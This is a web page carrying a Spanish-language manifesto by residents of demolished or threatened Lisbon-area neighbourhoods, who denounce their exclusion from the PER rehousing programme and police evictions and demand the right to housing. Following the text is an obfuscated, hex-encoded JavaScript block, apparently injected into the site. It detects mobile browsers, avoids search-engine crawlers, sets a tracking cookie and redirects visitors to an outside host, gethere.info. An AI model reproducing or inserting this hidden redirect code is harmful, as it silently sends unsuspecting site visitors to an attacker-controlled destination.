MANIFIESTO EN CASTELLANO

MANIFIESTO DE LOS VECINOS DE LOS BARRIOS AFECTADOS POR LAS DEMOLICIONES EN EL ÁREA METROPOLITANA DE LISBOA.

Este manifiesto fue escrito por un grupo de vecinos de los barrios “Marianas”, “Azinhaga dos Besouros”, “Estrada Militar”, “Quinta da Vitória”, “Fim do Mundo” y “Quinta da Serra”, con el apoyo del grupo “Direito à Habitação” de la asociación “Solidariedade Imigrante” de Lisboa, Portugal.

Nosotros, vecinos de los barrios demolidos o en la inminencia de serlo, exponemos lo siguiente:

Varios barrios del Área Metropolitana de Lisboa están siendo demolidos. Fueron construidos décadas atrás por trabajadores portugueses inmigrantes del interior del país y por trabajadores inmigrantes de otros países y por sus hijos que nacieron en Portugal. Muchas personas son expulsadas de sus casas y no tienen derecho a realojamiento.

El “Programa Especial de Realojamiento” (PER) se basa en un censo realizado en 1993.

Muchos vecinos, que llegaron a estos barrios antes de 1993, no fueron incluidos en el “PER”. Nosotros, por ejemplo, que somos trabajadores de la construcción, fuimos excluidos. Nuestro trabajo exige desplazamientos frecuentes durante varios días seguidos al lugar de la obras. Ésta es la razón de nuestra ausencia del barrio, lo que provocó nuestra falta de información durante el censo.

También existen, en nuestros barrios, cientos de personas que llegaron después de 1993 y que, por su situación económica precaria, por la discriminación a la que se encuentran sujetas en el acceso a una casa en el mercado privado y por la falta de una política real de vivienda que pueda responder a sus necesidades de vivienda, no tuvieron otra alternativa que los barrios de chabolas.

Ahora, los ayuntamientos nos expulsan sin dejarnos ninguna alternativa de vivienda, quitándonos el único techo que tenemos.

Trabajamos para construir Portugal. Pagamos impuestos y contribuimos en la economía del país, como cualquier ciudadano. Pagamos impuestos al Estado, pero éste no reconoce nuestro derecho constitucional a una vivienda.

Considerando la historia de la colonización y considerando la de la emigración portuguesa, no consideramos justo el tratamiento recibido por los inmigrantes en territorio portugués.

No pedimos casas gratuitas, sino acceso a una vivienda con un alquiler de acuerdo con nuestros rendimientos.

Estamos dispuestos a colaborar con el Estado para encontrar una solución que respete los derechos de las personas.

DENUNCIAMOS:

El “Programa Especial de Realojamiento (PER)” resultó ser un programa limitado e injusto que ha excluido a muchas personas.

Los poderes locales nos tratan como si no fuésemos seres humanos.

Las demoliciones contribuyen a la degradación de los barrios, provocando daños psicológicos, morales y materiales. Las condiciones de habitabilidad han empeorando sustancialmente desde el inicio de las demoliciones: acumulación de escombros, cañerías rotas, estructuras dañadas que provocan infiltraciones cuando llueve…

Este proceso de demolición, además de carecer de cualquier tipo de acompañamiento social, se ha caracterizado por la presencia violenta y abusiva de las fuerzas policiales, que se limitan a expulsar de forma brutal a las personas de sus casas, sin diálogo. Esto es abuso de poder.

Existen numerosas casa cerradas en los barrios de realojamiento, destinadas a la venta y que permanecen, hasta hoy, vacías.

El carácter ilegal de nuestras casas no es tan evidente como se considera. El Estado permitió la construcción de estos barrios y, en ciertos casos, la apoyó, ya que éstos remediaban la carencia de vivienda para los trabajadores que llegaban a la ciudad. Posteriormente el Estado permitió que se desarrollase este mercado paralelo de vivienda. En muchos casos, las casas fueron compradas por las personas. Otros pagaron siempre alquiler, facturas de electricidad, agua, canalizaciones e impuestos municipales. Existen hasta casos de “vivienda ilegal” registrada en el Registro de la Propiedad.

Consideramos absolutamente inadmisible la desresponsabilización del Estado y su completa despreocupación acerca de sus ciudadanos. Nos sentimos tratados como si no fueramos personas. Los ayuntamientos y el Gobierno se pasan las responsabilidades uno para el otro como en un partido de ping-pong. Cuando confrontamos a los ayuntamientos, nos dan esperanzas, pero después, lo que dijeron ya no existe. El Gobierno hizo promesas y presentó soluciones que nunca cumplió.

Las falsas alternativas son injustas, provisionales y discriminatorias: apoyo incierto de tres meses de alquiler, días en centros de acogida o pensiones, propuestas de retorno al país de origen.

¡EXIGIMOS QUE SEAN RESPETADOS NUESTROS DERECHOS!

EXIGIMOS que sea respetado el derecho a la vivienda para todos, reconocido en el artículo 65 de la Constitución de la República Portuguesa.

EXIGIMOS que se suspendan las demoliciones de aquellas casas em que viven personas que no tienen otra alternativa de vivienda.

EXIGIMOS el realojamiento de todos los vecinos de los barrios que no están incluidos en el “PER”.

EXIGIMOS que el Estado cree y aplique una verdadera política de vivienda para todos los ciudadanos.

EXIGIMOS el acceso a una vivienda digna, y nos responsabilizamos por el pago de un alquiler de acuerdo con nuestros rendimientos, para que crear una oportunidad de mostrar y defender la posibilidad de una vida mejor.

¡VIVIENDA PARA TODOS!

 

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Anúncios
%d bloggers like this: